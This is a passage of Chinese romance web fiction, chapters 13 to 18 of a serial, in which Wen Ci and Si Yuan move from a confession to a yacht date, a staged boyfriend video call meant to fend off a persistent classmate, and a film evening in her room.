她最先舍弃的,是可乐和咖啡。因为这两样饮品在冰箱里放的时间有点长了,她来庚辰岛的第一天,它们就在冰箱里了。
最终,温辞给他也拿了瓶气泡水。
他说的嘛,都可以。
既然他没有自己的喜好,那就提前熟悉一下她喜欢的。
“呐,给你,气泡水,荔枝味儿的。我最喜欢喝的,你看看能不能喝的惯。不喜欢的话,我再给你拿别的。”她递了一瓶给司渊。
13. 恋爱
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闻言,司渊系着垃圾袋的动作一顿。但他没转过头去看她,暗暗琢磨了一下她那句话的意思后,闷声开口,问:“我们,什么关系?”
温辞:“朋友呀。”
司渊始终沉默着,不知道是满意她的这个答案,还是不满意。
他给垃圾袋打上最后一个结,刚转过身,抬眸便对上温辞那双幽怨的目光。不知何时,她悄无声息站起身,绕到了司渊面前,迫使他面对自己。
“你怎么不说话?”温辞问他。
司渊唇瓣颤了颤,刚要开口,又被她打断。
“司渊,在你心里,我该不会只是一个萍水相逢的陌生人吧?”她又问。
“没,不是陌生人。”回答这个问题时,司渊的反应很快,甚至连语气也有点急促。他怕回答慢了,她会生气。
万一,她不理他了,可怎么办。
可朋友这两个字,他也有点说不出口。因为他并没有把她当做朋友。他没有朋友,也不需要有。
正如霍懈北所言,他是哥哥。他把她当成亲人,当成妹妹。
温辞听了他的话,微蹙的五官逐渐舒展开来,眉眼间满是笑意,仿佛对他这个回答很满意。
不仅如此,她还化身为司渊的小尾巴。他把垃圾提到门口,她跟着。他去洗手,她也跟着。嘴也没停,一直碎碎念。
却也一直没有回归到刚才的话题上。
这让司渊抓心挠肝了好一会儿,他一直好奇,她想要把两人的关系转变成什么。可她不说,他也不好贸然开口询问。
忙完这些琐碎,司渊正准备开口问她要钥匙,她却先他一步开口:“司渊,我有话想问你。”
他只好随她来到客厅。沙发是三人位的,两人分别坐在沙发一侧,中间空出好大一个位子。
温辞:“司渊,你讨厌我吗?”
司渊摇头,掷地有声:“不讨厌。”
温辞先他一步坐下,司渊犹豫一瞬后,坐在了离她最远的位置上。
“那你为什么要离我那么远?”说话间,她站起身,往他这里挪了两步后,又重新坐下来。
司渊垂眸,双手交叉放于膝上。余光瞥过身侧,纯白色裙摆无意间落在他的黑裤上。夏季的衣服单薄,司渊甚至能感受到她身上传来的馨香和源源不断的热度。
她的体温,好像比他高很多。靠近她的那条腿,好似也被她的体温所染,温度逐渐变得高了起来。
情不自禁的,他的手指跟着蜷了蜷。
口干舌燥,是司渊此刻唯一的想法。他想离她远些,可沙发就这么大,她又紧贴着他,他避无可避。
“司渊,你有女朋友吗?”温辞侧过身,一双眼睛亮晶晶的,眨也不眨地盯着他棱角分明的侧脸看。
司渊没有想到她会忽然之间关心自己的感情生活,愣了一下,摇摇头,说:“没有。”
温辞又问:“那你之前有谈过恋爱吗?”
同时,司渊清楚感觉到,他说完没有这两个字后,温辞又往前蹭了蹭。她的裙摆,像是过了电一般,他大半个身子都是麻木的。
司渊抿了抿唇,挺直腰背,尽可能让自己神色平稳。
在她热切的注视下,司渊转头看了她一眼。漆眸沉沉,温辞连心跳都慢了半拍。
“也没有。”他说。
“太好了。”语气里,是她止不住的雀跃。
“好?”司渊疑惑:“为什么这么说。”
温辞:“因为我也没有啊。”
司渊知道,她并没有说完。
他也一直在等着她说后面的话,可她却忽然安静了下来,一脸欲言又止,只知道盯着她看。同时,司渊注意到,她看他的眼睛里,忽然多了一种陌生的情愫。
她的眼神,令他慌张、失措,甚至是无所适从。
他好像已经猜到她接下来会说什么了。
“司渊,不然我们两谈恋爱吧。”这些字句,就像是一颗又一颗的巨石,从天而降,砸穿他的外壳,直坠心底。
她果然是这么想的。
司渊猛地转过头去,不再看她。
手心浸出的些许潮湿,不就是他不知所措的证明。
指甲在冷白的指尖留下几个月牙的痕迹,轻微的痛感让他的头脑从混沌中脱离出来,逐渐变得清醒。
“司渊?”温辞见他不说话,抬手拽了拽他的衣摆:“你是愿意还是不愿意啊?”
“我们还互相不了解。万一,我是坏人呢?”司渊问她。
他没说愿意或者是不愿意,晦涩的目光落在她的手上。她正紧紧拽着他腰间的衣摆,好似他不应,她便不会松开一般。
可霍懈北说了,他是哥哥。
而他,在认出她是谁后,也一直把她当妹妹看。
“我知道你不是啊。”
温辞嘀咕了句,但声音莫名小了些。她也知道,自己这个举动有多莽撞。可在她心里,坏人这个词,根本和他八竿子打不着。
他神色有几分无奈,轻轻喟叹一声,又缓缓开口,试图让她打消这个念头。
“对待感情,不应该如此冲动。尤其你还是女孩子,很容易吃亏的。万一,我心思不纯,对你有所图谋呢?”
司渊低沉的声音缓缓落在耳畔。他想不明白,心思缜密的霍懈北为什么会生出这样单纯、对人丝毫不设防的孩子来。
听他说到图谋二字,温辞的眼睛唰一下亮了。
“司渊,那你怎么就知道,我对你就没有图谋呢?”她说。
司渊脸上闪过一抹诧异。他实在是想不明白她说这句话的意思。
他也就那张脸,还看得过去。除此之外,他想不明白,自己有什么东西是值得她图谋的。
想到这里,司渊面色一僵:莫非,她看上的,真的是他这张脸?!
司渊想起她刚才说的谈恋爱的事情,笃定了他的猜测。
而她还在看着他,司渊的脸慢慢有些红了。
“司渊,那你图谋我什么呀?是我的钱?还是我的人?”
温辞的声线本就温婉。如今,她整个人又极其放松,尾调微微上扬,带着几分慵懒,像是在同他撒娇。
司渊胸腔里忽然涌上一股燥意。
但他的语气依旧温吞:“没有,我没有图你的钱,
14. 咖啡
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临睡前,忘记把手机关屏。温辞一觉醒来,手机的电量已经耗尽关机了。她只好打开房间的吊灯,给手机充上电后,看了一眼时间:0:36。
温辞点开司渊的对话框,犹豫要不要给他发条信息。
“都这么晚了,他应该已经睡了吧?”
“会不会打扰到他?不然还是不发了。”
她咕哝着,把对话框里的字又一一删除。
“可万一他反悔了怎么办?不然还是发一条吧。”
温辞纠结了好一会儿,手指在屏幕上敲敲打打,写了删,删了又写。终于,她下定决心,还是不打扰他休息的好。
她才把输入栏里的字删干净,对面忽然发来一条信息:【怎么还没睡?】
静谧的深夜,短促的铃声格外刺耳。温辞被吓了一跳,差点把手机扔出去。
看清发信人以及内容后,她回了一条语音:“司渊,你怎么知道我没睡啊?”
才从浴室里出来的司渊,一手用毛巾擦着头发,一手回着她的信息:【洗完澡出来,看到你房间亮灯了。】
除此之外,还有更为隐秘的一点,司渊没有告诉她。
他最先看到的,并非是她房间里散发出来的灯光,而是她的对话框里久久没有停止的‘对方正在输入’的提醒。
他敲了会儿代码,头脑困顿时,跑去浴室冲了个凉。
这个时候,对面的别墅还是一片昏暗。
他冲完凉,从一旁的置物架上分别拿了毛巾和手机。大手隔着毛巾,胡乱在脸上擦了一下。
原本他只是想要看一下确切的时间,摄像头对上五官的一瞬间,屏幕自动解锁,和温辞的对话框明晃晃映入眼帘。
后知后觉,司渊想起上一次锁屏前,他点开了温辞的对话框。当时只顾着胡思乱想,根本没有退出来,就又关上了手机。
如今,两人的对话框重新映入眼帘,他愣了一下。
刚准备退出来,忽然看见昵称那处显示的‘对方正在输入’的提醒。
他一直在等着她的信息。
可直到那条‘对方正在输入’的提示逐渐又转变成她的昵称,他也没有收到她的信息。
司渊从浴室出来,无意间瞥见对面别墅亮了灯。
他的脚步骤然顿住,默默看了一眼亮起昏黄灯光的窗户,垂眸看向手机。
他在对话框里输入一行字:【想说什么?】
指腹在发送键上停顿一瞬,转而点了删除键。
随即,他重新打了一句委婉一点的话:【怎么还没睡?】
对面秒回这件事情,司渊是没有预料到的。
毕竟在此之前,那句‘对方正在输入’显示了那么久。
经过白天那些冲动的事情,她理应纠结一会儿的。
可她并没有,甚至连语气都和白天一样,又软又甜。
司渊没有回房,而是坐到了树下的摇摇椅上。时而抬眸看着她的窗子,时而垂眸点开她那段语音,听了一遍又一遍。
【时间不早了,早点休息吧。】
他一字一字敲好,发了过去。
没一会儿,温辞又发了一条语音过来:“司渊,你是准备要睡觉了吗?”
他才听完,正准备回,第二、三语音也发了过来。
“明天你有空吗?”
“如果你有空的话,能不能陪我出趟海呀?我才拿到证,不敢自己一个人。”
司渊一一回复:
【嗯,准备睡了。】
【有空。】
【可以。】
温辞:“司渊,你人真好。那我们说定了,我明天睡醒来找你。”
司渊:【好,晚安。】
温辞也回了他一个晚安。
司渊没再给她回,他合上手机,打了一个响指。啼鸦振翅从树枝上飞下来,落在他的腿上。
“嘘,安静。”
他抚着啼鸦的脑袋,做了一个噤声的动作。视线却不由自主落在对面的窗子上,久久没有动作。
很奇妙,看着那盏昏黄的灯光,他不安的心逐渐安定下来。甚至,没那么荒芜了,逐渐生花长草。
-
别墅内。
温辞才睡过一觉,再让她睡,她自然是睡不着的。
她躺在床上,喜滋滋地抱着手机,从头至尾刷了一遍两人的聊天记录。
最终,她的视线停留在司渊说她房间亮灯那句话上。
这是不是说明,他一直在默默关注着她。不然,他怎么会在她睡醒的第一时间就发消息给她?
想到这里,温辞脸上的笑意更浓,咕哝了声:“我就知道,你并不是像表面那么冷漠。”
她在床上打了个滚,想到明天是和司渊的第一次约会,火速从床上跳下来,打开衣柜,研究明天要穿什么。
平日里,她对衣服的需求并不大。
舒服为主,颜值次之。
可这会儿,她忽然有点后悔没有从家里拿一些好看的衣服过来。
她试了一套又一套,终于在两个小时后,搭配好了明天出行的穿搭。
黎明时分,温辞定好闹钟,强迫自己入睡。
翌日清晨,扰人的闹钟响了一遍又一遍。
温辞摁了两次,在第三次闹铃响起来的时候,她终于想起自己今天还有约会,怔忪片刻后,麻利爬起来去洗漱。
这可是她人生中第一次单独和异性约会,她无比重视。不仅头天晚上挑好了衣服,而且还鲜少化了个全妆。
一切准备妥当,临出门前,温辞准备给司渊发条信息。
拿过手机才发现,早在十分钟之前,她还在化妆的时候,他就已经给她发来了短信。
【起床了吗?我准备了早餐。】
【马上过来。】
温辞拎了包,又从冰箱里拿了两罐冰咖啡后,拔腿往司渊家跑去。
昨天之所以不喝,是因为她点的外卖里有海鲜。咖啡的时间又有点长,她担心两人会拉肚子。而今天,她又怕自己会犯困。
-
用过早餐后,两人往海边。
尽管很近,但温辞依旧有些气喘吁吁。
一开始,两人还是并肩而行。
不知道什么时候起,司渊的步子忽然迈的大了很多,将她远远甩在身后。
司渊的腿很长,步子迈的大些也无可厚非。温辞并没有多想,小跑着追上他。
她并不知道,司渊其实是故意的。他故意走在前面,和她拉开一些距离。
她满心沉浸在第一次约会的喜悦之中,根
15. 约会
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温辞眨了眨眼,她没有想到司渊会这么好哄。
自打两人上了船,她看见司渊始终沉着一张脸后,就琢磨着要如何哄他。
她在脑海中预设了无数种哄他的办法,在正式实施之前,她不过是顺手递了杯咖啡过去。
他听到的那些话,也不过她为了引出后面的办法随口一说。她以为司渊不会接过那杯咖啡的。
不由得,她多看了他一会儿。
司渊慵懒坐在软凳上,侧着身子,微微后仰,拿着咖啡那条胳膊搭在栏杆上,修长的双腿在船舱里倒显得有些无处安放。
他低着头,阳光斜照过来,浓密且纤长的睫毛在眼下落了一片阴影,不仔细分辨的话,甚至会误以为是他的黑眼圈。
高挺的鼻梁,削薄的覆舟唇,无端增添一抹凉薄。
‘啪嗒’一声,咖啡被启开。温辞的视线也随之一转,落在那罐咖啡上。
司渊口干舌燥,正准备把那罐尚有几分凉意的咖啡往嘴边送。抬眸间,他注意到温辞的视线。
她专注盯着他手里的咖啡。
难道,她想也喝?
司渊的动作微顿,继而调转了胳膊的方向,把咖啡递到了温辞面前。
温辞面上一愣,接过咖啡,莞尔:“谢谢司渊,那这一罐给你。”
她又从包里拿出另外一罐,递了过去。
司渊打开,仰头罐了一大口。喉结上下滑动,平白多了几分色气。
吞咽声伴着海浪的拍打声一起涌入她的耳中。温辞感觉自己脸颊的温度唰的一下升了上来。
司渊看过来时,她的心里忽然生出一阵慌乱。
单单是看着他就让她面红耳赤这件事情,温辞羞于让他知道。可偏偏,司渊看向了她。
四目相对,她率先挪开视线。双手充当蒲扇,在脸颊一侧扑扇着,试图将脸上的温度降下去。
“今天有点热哈,太阳好晒。”
闻言,司渊的视线落在了他膝盖那处。她的影子,不偏不倚,刚好落在他的腿上。
她如今背对着阳光,头上又戴了顶荷叶样式、几乎能够将整张脸都挡住的遮阳帽。
如此装备,太阳根本晒不到她的脸,更不可能在眨眼之间把她的脸晒得像是涂了腮红。
既然不是晒的,那就只能是生理反应。
可他只是喝咖啡,离他也尚有一些距离,她不应该会害羞才对。
更何况,经过这些时日的观察和相处,他对温辞的性子也算是有了一个大致的了解。
他不知道,她和别人相处时是个什么样的状态。但他知道,她和他单独相处的时候,她往往是把他弄到害羞的那一个。
既不是他惹的,那就只能是她胡思乱想。
可是,她在想些什么呢?
司渊实在好奇,又像是为了验证自己的猜想,他掀眸看了一眼温辞。
他看过去的同时,一直关注着他的动静的温辞的视线又开始飘忽。
温辞可以把目光落在他身侧的海面上,试图营造出一种没有看着他的感觉。
见状,司渊并没有拆穿她,更没有一直盯着她的脸看。他担心她会不自在,瞥了一眼后,又重新垂下了眼眸,把视线落到了自己拿着咖啡的手上。
两人谁也没有率先开口说话,耳边只有无穷无尽的海浪声,气氛一度变得有点奇怪。
司渊的思绪也有些混乱。
她一离岸就把游艇给关了,司渊猜不到她想做什么。
但他知道,她最主要的目的,一定不是她所说的,要他陪着一起练习游艇。
就在他胡思乱想的时候,温辞随手放在操作台的手机忽然响了起来。
两人谁也没有先去看手机,而是不约而同看了一眼对方。
对上他的眼神,温辞冲他吐舌,莞尔一笑,语气带着几分赧意,说:“我忘记静音了。”
司渊:“没关系,你先去接。万一有急事找你呢。”
这是她和司渊的第一次约会,她不想让任何人打扰自己。可偏偏,忘记把手机调静音。
这是她的问题,也怨不到电话那头的人身上。可就算是这样,她去接电话时,心情依旧有几分郁闷。
她刚缓和了自己的羞涩和紧张,正准备去和司渊说一些话。
偏偏这个时候,有视频电话进来。偏偏,打电话的这个人,是她现在不想理、甚至是有些讨厌的人。
看着‘顾冉’的名字在屏幕上不停跃动,温辞叹了口气。
自打她来庚辰岛那日,借着司渊那张脸和章扬、顾冉说了自己有男朋友之后,这两人的确消停了不少。
她和任薇学习游艇的那段时间,这俩谁也没来打扰。
原本温辞还以为,她会就此安宁一些。没想到,不过是短短几日,他们就又来打扰她了。
只是不知道,这次顾冉打电话过来,是单纯想念她这个‘同桌’,还是又是迫于章扬的威压。
思索了一瞬,滑动,接通。
海上的信号不是太好,短暂的黑屏之后,顾冉那张脸几乎占据了整张屏幕。
“顾冉,忽然给我打电话,是有什么事吗?”她问。
顾冉支支吾吾,半晌没说出一句完整的话。但她的眼神,却总是往旁边、往镜头之外瞟。
温辞了然,抿了抿唇,缓缓开口:“如果没什么要紧事的话,我要先挂了。我还有事要忙。”
她好不容易把司渊约出来,不想把时间浪费在这些无关紧要的电话上。
如果可以,司渊并不想听她和别人的谈话内容。
可游艇就这么大,尽管他已经尽力在规避、尽力把注意力转移到远处的海平面上,可两人的对话,他仍一字不落收入耳中。
同时,他清楚感觉到,温辞应该并不喜欢这个叫‘顾冉’的人。因为她说话的语气,亦或是接通视频后脸上的神态,无一不显示着两字:敷衍。
司渊不着痕迹打量她一眼,不由得暗想:
原来,她对待自己不喜欢的人,是这个态度啊。
在此之前,司渊一直以为,她的性子是偏火热型的,就像她在他面前那样。可听了这通电话,他才知道,他对她的误解到底有多深。
如
16. 讨厌人
《人格分裂?谁才是我男朋友》全本免费阅读
随着温辞的靠近,司渊像是被一只无形的大手点了穴道一样,四肢僵硬,一动也不敢动。
她俯身吐出的每一个字,都重重敲击着他的耳膜。尤其是那声只有他一个人能听到的称号,更是让他的呼吸都停顿了一瞬。
温辞站直身体,等着他的回应。
司渊在她热切的注视中,僵硬点了点头。
温辞脸上由衷生出一抹笑意。她来到了司渊身侧,与他并肩而立。
她的手指,在屏幕的静音键上点了一下,取消了静音。而另一只手,则亲昵搭上了他的肩膀。
司渊的身体更僵硬了,他整个人都有些无所适从。
温辞察觉到他肢体的僵硬,在镜头看不见的地方,掌心轻轻拍了拍他的脊背,示意他不要紧张。
随着司渊的入镜,手机对面的三人不约而同大量着司渊。神色各异、心思各异。
其中,章扬的脸色最差,丝毫不加掩饰的那种。
顾冉次之。
而顾清河相对比较平静,可眼神里仍有几分诧异。
顾冉看了一眼章扬,率先开口:“温...温辞,他是你男朋友吗?”
不知是不是惧于章扬的威压,后半句话,她的声音莫名小了很多,却又刚好能够传入温辞的耳中。
顾清河听到她的话后,也下意识看了一眼章扬。
章扬对于温辞的心思,从来都不是什么秘密。他恨不得让全世界的人都知道,他喜欢温辞。
这样,温辞就是他的。就算还有其他人也同样觊觎着她,至少也不敢光明正大,只敢在背地里。实在张狂的,他就背地里找人去揍一顿。
高中三年,他一直秉行的就是这套理论。也的确很奏效,三年下来,围绕在温辞身边的男生越来越少。
外在因素被他一一搞定,就只差温辞这个核心了。
可偏偏,她难搞的很。
别说亲亲抱抱了,章扬连她的手都没拉过。她平时甚至连话都懒得和他说一句。他花费大量的精力去追她,却被她随口一句高中不打算谈恋爱给噎回来了。
他原本计划着要在高考结束后的这个暑假来好好追她的。
可他没想到,高考结束以后,温辞就像是变了个人一样,不仅很难约出来,而且性子也变得更加冷淡,避他们这些老同学如蛇蝎。
最关键的是,章扬忽然发现,他好像并不是很了解温辞,甚至不知道她的现住址是在哪里。
温辞尤其防备她。
没有办法,他只能找顾冉帮忙。
顾冉是温辞的同桌,两人的关系要比其他同学要更亲密一些。
可章扬没想到,温辞连顾冉的面子都不给,根本约不出来她。
巧妇难为,无米之炊。
见不到温辞本人,就算他有天大的本事,他也施展不出来。
原本,章扬以为她的性子就这样——高岭之花,难以亲人。可他没想到,她不过是去海岛度个假的功夫,就交上了男朋友。
司渊入镜之前,他是不相信她有男朋友这件事的。尽管温辞早在来庚辰岛的第一天就已经在电话里说过这件事情。
他想了好几天,始终觉得哪里不对劲。更何况,以他对温辞的了解,她不可能这么快就交男朋友。
最重要的是,他并没有在温辞的朋友圈里看见过任何有关异性的字眼或者图片。
所以,他得出结论:温辞在说谎。
也正是因为如此,他才和顾清河一起策划了这场所谓的‘毕业旅行’,又央求顾冉来打探她的行踪。
可章扬没有想到,他真的会在手机里看见她所谓的男朋友。
一时间,愤怒充斥脑海。
他只顾着打量她那位男朋友,却忘记在温辞面前掩饰自己的情绪。
他们打量司渊的同时,司渊也在不动声色打量他们。
通过此前的对话,司渊知道,手机对面的那个女生叫‘顾冉’,而其余的两个男生,一个叫顾清河,是班长。另一个,叫章扬。
除此之外,他还看出一些别的东西。
譬如,那两个男生好像都喜欢温辞。尽管其中一人极力掩饰,但仍瞒不过他的眼睛。
又譬如,那个叫顾冉的女生,喜欢站在正中间的那个男人。司渊发现,她不止一次用余光偷看他。
而且,他还发现,她看向温辞时,眸中带着些许隐晦的敌意。
因此,司渊推测,关于那两个男生喜欢温辞这件事情,顾冉或许应该是知晓的。至少,她喜欢的那个人喜欢温辞,顾冉是知晓的。
不然,她也不会用那种眼神看温辞。
-
“男朋友,哼。”
顾冉说完,不等温辞开口,她身侧的章扬冷哼一声,率先开口,语气之间,颇有几分不满和嫌恶之意。
“对啊,这是我男朋友,司渊。”
温辞一脸灿然,搭在司渊肩上的胳膊也收得更紧了点,两人的距离又近了一些。
身侧灼热的体温,以及她介绍他时自豪的语气,让司渊面上一热。不由得,他侧目看了一眼温辞,温辞也恰好转头看他。
四目相对,温辞莞尔低笑,司渊清冷的面庞也添了一抹暖意。
这画面,唯独顾冉觉得赏心悦目。
其余两人,看着温辞脸上的笑容,章扬的气愤大过苦涩,而顾清河的心中,则满是苦涩。他早已经习惯了温辞身边有别人,他也只有在一旁远远看着的份。
“如果没有意外,这个假期我都会和我男朋友待在庚辰岛。咱们同学一场,如果你们要来,我们自然要尽一尽地主之谊。”温辞语气温婉:“honey,你说是不是?”
司渊点头,冲手机说了句:“是。”
温辞又说:“那就这样说定了,我们在庚辰岛等着你们。当然,如果你们有更好的去处,刚才的话就当我没说过。”
说完这些,温辞便主动挂断了视频。
手机那头,KTV包厢里。
挂断电话后,顾冉及时把手机收起来。
她怕章扬一个生气,就再一次摔了她的手机。如今的这部,是他才赔给她没几天的最新款,和他用的那部是同款,只是颜色不一样,她
17. 胆小鬼
《人格分裂?谁才是我男朋友》全本免费阅读
司渊垂眸,看了一眼下腹,心中骇然。
他知道,他完蛋了。
在他心里,温辞好像并不单单是妹妹。毕竟,没有哪一个哥哥会对妹妹起反应。尽管他一直不想承认,但事实就是如此。
如果霍叔叔知道了,又该怎么办?
他会从此不再管他吗?
他会不会从此嫌恶他?
......
司渊心烦意乱,满脑子都在预设被霍懈北发现之后的所有可能性。
温辞趁他不备,上前一步,双臂环上他的脖子,一点一点收紧,迫使他和她对视。对上他那双幽深的漆眸,温辞强压下羞涩,缓缓开口:
“司渊,你别装了。刚才你明明有机会推开我的,可是你没有。你也喜欢和我接吻的,对不对?”
听到她这么说,他的眼神更晦暗了。可偏偏,她说的是事实,他找不到任何语言来反驳。
一开始,他的确是想推开她的。可当他的手掌触碰到她柔软的腰身时,他忽然犹豫了。温辞就是趁他犹豫之际,先他一步,退了几步。
像是有什么魔力一样,她尾音略微上扬的后半句话,一直在他耳边萦绕。
他想,她说的没错,他应该是喜欢的。
只是,他的初吻,不应该由她来主导。而他,也不该赧于承认自己内心深处最真实的情感。
一番心理挣扎后,司渊垂首,看着她的眼睛,缓缓开口:“对,我喜欢。”
说这话时,他脸上的红晕还没有完全消除。但声音沉静,如清泉击石,直入人心。
他微微俯身,视线落在她唇上那抹胭红之上。
司渊眼神直白,只一眼,温辞便猜到他要做什么。
两人的距离越来越近,清凉的薄荷气息打在她柔软的肌肤上。心跳加速的同时,心里的期待感也多了几分。
眼看着他就要亲上来,温辞也微微踮起脚尖,望着他的眼睛里,盛满了期待和雀跃。
她希望他能够暴烈的亲吻下来,她希望能够在两人紧密无间的唇齿中感受到他深藏在内心深处的情绪。
所以,为了让他更加安心,也为了让他更加肆无忌惮一点,她缓缓闭上了眼睛。
卷而翘睫毛轻轻颤动,像是蝴蝶扇动着翅膀。落在司渊眼中,他便误以为她是在害怕他接下来的唐突举动。
他的目光,在她唇上凝了一瞬后,又强迫自己转移视线。
意料之中的亲吻迟迟没有落下,温辞担心他会退却,环着他脖颈的双手默默加重了些许力道,生怕他会跑掉。
她刚把眼睛睁开一条缝隙,那道阴影便压了下来。但目标并非是她的嘴巴,而是眉心。
额上异样的柔软触感,让温辞的眉眼为之一颤。他亲上了她眉心的那一点胭红。
一触即离,她甚至都不能好好感受,仿佛刚才的一切,都是她的错觉一般。温辞抬眸,注意到他漆眸中来不及掩去的情与欲,笑意渐浓。
“胆小鬼。”她说。
司渊闻言,无声眨了下眼睛,耳朵却越来越红,充血一样,又丝毫不受控制。他知道,温辞是在拿他打趣,更是在取笑他临阵换营。
他也的确无言以对。
温辞可太喜欢看他如今的别扭模样了,她又把双臂收得更紧了些,说:“司渊,你亲也亲了,我抱也抱了。这下,你可不能再抵赖了。”
司渊嗯了一声,温辞又问:“那你说,我们现在是什么关系?你又是我什么人?”
安静一瞬后,司渊缓缓开口:“情侣关系,男朋友。”
“早这样不就好了,非要我用上非常规手段。”温辞咕哝着,松开了环着他胳膊的手,又说:“司渊,咱们回去吧,我今天没心情玩了。”
司渊还沉浸在她那句‘非常规手段’上,她所谓的非常规手段,就是主动亲吻他。但不得不说,他还挺受用,甚至有些享受、怀念。
听到她喊他的名字,他回过神,应了她一声:“好。”
温辞绕回到驾驶位,冲他招招手,说:“我有点累,你来开。”
司渊没有推辞,操作游艇的动作也很是娴熟。碧绿的海面上,被游艇划出一道白痕。
温辞坐在一旁,始终闷闷不乐。
司渊瞥她一眼,重新问了一遍:“既然不喜欢,为什么还要接他们的视频?还要邀请他们上岛来?”
和之前的问题相比,唯独少了最后那句和‘男朋友’相关的话。
他的确想不明白温辞的用意。按照司渊的性子,不喜欢的人和事,他是绝对不会浪费时间去和他们打交道的,更加不会邀请他们来自己的面前晃悠。
温辞长叹一口气,无奈开口:“这次不接,还有下次,下下次,他们总是能找到机会来打扰我的。与其日夜防备着,还不如一次性解决了的好。”
关于章扬在学校时经常缠着她这件事情,温辞从来都没有告诉过家里人。
她既不想让家里人过多为她担心,又不愿在同学面前暴露自己过于殷实的家境。是以,在学校的时候,她鲜少谈论自己的家事。在家的时候呢,她又绝口不提学校里的事情。
也正是因为如此,她没有向任何人说起过章扬。
可她不提,并不代表她不苦恼。
如今,好不容易有一个可以听她诉说的、又知道章扬存在的同龄人,她恨不得把章扬昔日里所有的恶行都说出来。
自打温辞一开口,司渊的眉头就紧紧皱起,不得舒展。温辞说完后,他的脸都是臭的。
“还记得我们第一次遇见的时候吗?”温辞又问他。
司渊神色一怔,随即勾了勾唇角,说:“怎么会忘。那天,是你第一次调戏我。”
说到这儿,司渊停顿片刻,转头看了一眼温辞,又说:“那天,也是你第一次喊我‘honey’。当时,你还说,是因为认错了人。”
他是喜欢这个称呼的,可经由他自己的嘴巴说出来,着实有些难为情。是以,不等温辞看过来,他又转过头,专注盯着海面上两只争抢小鱼的海鸥看。
说到两人第一次见面,温辞瞬间来了兴致,连说话的语气也比刚才要兴奋很多。
“什么认错人,我骗你的嘛。当时,顾冉刚好在和我打视频。那天的情况,和今天很像,章扬也在她身边。”
温辞仰头,看了一眼逆着光的司渊,浅笑一声,缓缓开口:“当时,你也像现在这样逆着阳光,我根本看不清你的脸。看着你的身影,我忽然想到一个或许可以一劳永逸的办法。”
“于是,在你毫无察觉的时候,我把镜头对准了你,并且告诉他们,你是我男朋友。为了让他们更加相信我的话,我喊了你一声''honey''。”
司渊挑了挑眉,转过头,问:“所以,你并非是认错了人,而是特意喊我的?”
温辞:“对啊。你说,我们是不是很有缘?当时也不知道是谁,吝啬到连名字都不愿告诉我。”
她的后半句话,颇有几分秋后算账的意思。
“是我的错。”司渊抿了抿唇,语气莫名柔软了几分。如果早知道是她,他绝不会对她那么冷漠,更
18. 濡湿
司渊一路都很沉默,温辞只当他是被人看得羞涩,所以寡言。她并没有放在心上,注意力也大多落在两人十指相扣的手上。
原本,只是她攥着他。
行过大半,确保司渊不会再挣脱她的手后,她的手指一点一点深入,和他十指相扣。
温辞本以为,就算是十指相扣,他也会像最开始她牵过他的手时一样,挣扎一番。
可他没有。
非但没有,还默默扣紧了她的手。力道之大,甚至隐隐生出几分痛意。
司渊下意识的回应,让温辞的心情大好。连带着,把顾冉、章扬几人带来的坏情绪尽数抛之脑后。她满脑子都在想,待会儿要和司渊看什么电影。
回到家后,温辞从库房搬出投影仪,又把犹豫不决的司渊拽到了房间。
为了让他安心,房间的门,温辞并没有关上。
眼观鼻,鼻观口,口观心,他尽可能不把视线落在别处。可就算是这样,呼吸间,余光里,满是专属于温辞的痕迹。
没一会儿,他就觉得面红耳赤,浑身燥热。温辞见他额上涌出汗珠,及时打开了空调,又从冰箱里拿了瓶水,及时放到了他身侧。
司渊的动手能力很强,投影仪很快调试好。
为了让投影到白墙上的画面更加清晰,温辞关上了房门,拉上了遮光窗帘,房间顿时暗了下来。
司渊握着遥控器,脊背抵着床尾,席地坐在地毯上。光线猛地暗下来,他的心也跟着颤了一下。但表面依旧不动声色。
温辞拉着零食车,坐到了司渊身侧。
“想看什么电影?”他问。
温辞想也没想,直接开口:“《剪刀手爱德华》,之前就想看,却一直没时间。”
“好。”司渊应下,点开搜索框,一字一字输入。
“你之前有看过这部电影吗?如果你看过,那我们就换一部。”温辞问他。
司渊摇头:“没有。”
他平时很少看电影。就算有闲暇时间,他也忙着功课,忙着兼职。
电影开场后,温辞专注剧情,连拿在手里的零食都忘了吃。可对于司渊而言,电影的吸引力远不如她对他的吸引力。
一想到她在旁边坐着,一想到这是她的卧房,他根本就静不下心看电影,反而总想时刻低头去看她。
他又不想让温辞发现他的注意力并没有在电影身上,便一次次强迫自己把视线落到对面的白墙上。
他的耳朵,好像有自动屏蔽功能。
电影里嘈杂的背景音乐、台词,都被他自动过滤,唯独她或缓或疾的呼吸声,清晰可闻。
不知不觉,进度条走了一半。他也终于能够专注于电影的剧情。
他看得正起劲,忽然,肩上一沉,温辞的脑袋重重砸在了他的肩上。
司渊被这突如其来的动静给吓了一跳,身形僵滞的同时,连呼吸都停了一瞬。垂眸望去,温辞不知何时睡着了,他竟半点没有察觉。
看着她乖巧的睡颜,司渊默默缓了一口气。
他拿起遥控器,按下静音键。
恰好,此刻电影的画面是黑白镜头,宛若一部黑白默片,静谧无声,只有光影在白墙上浮动。
耳边,唯余她匀称的呼吸声。
司渊垂着头,勾着颈,默默看了她一会儿后,微调了一下坐姿,将被她靠着的那侧肩膀放低了一些,好让她舒服睡得舒服一点。
除此之外,他半晌都没再有别的动作。
温辞睡着了,他才敢把明晃晃的打量目光落在她的身上。
睡着的她和醒着时给他的感觉大不一样,睡着的她,乖巧,恬淡,少了些许锐利。投影仪散发出来的时亮时暗的光线打在她冷白的肌肤上,更添一抹柔和。
好一会儿,他才抬起头,轻轻晃了晃勾得有些发酸的脖颈,视线重新落到那面白墙上。
电影已经接近尾声,他又一次拿起遥控器,拖动进度条。最终,是他一个人无声看完了接下来的电影。
司渊只好把注意力重新放在她身上。她睡得正香甜,完全没有想要醒来的迹象。
她如此困顿,想来昨晚给他发完信息后,并没有立即睡觉的。
明明是她昨晚上就闹着要出海,结果被一通丧气的电话给弄糟了心情。没了游玩的心思,自然是要返程。
明明是她提出要看电影,结果看到一半,她脑袋一歪,靠在他身上就睡着了。
可真是个矛盾的人。
司渊在心里暗叹。
他明白,拥有这样的天然矛盾感的人,平日里在家也一定是备受宠爱的。如果没有至亲的人兜底,任一个人心胸如何广阔,也断不可能养成她如今这样的性子——率真、洒脱,好似不惧任何事情。
同时,他又有点头疼。
再怎么说,他也是个男人。
可她好像并没有放在心上,就这样堂而皇之邀他来她的房间,更是没有任何防备地在他面前打瞌睡。
是她的心太大?
还是因为他长得像个好人?
司渊不认为是后者。
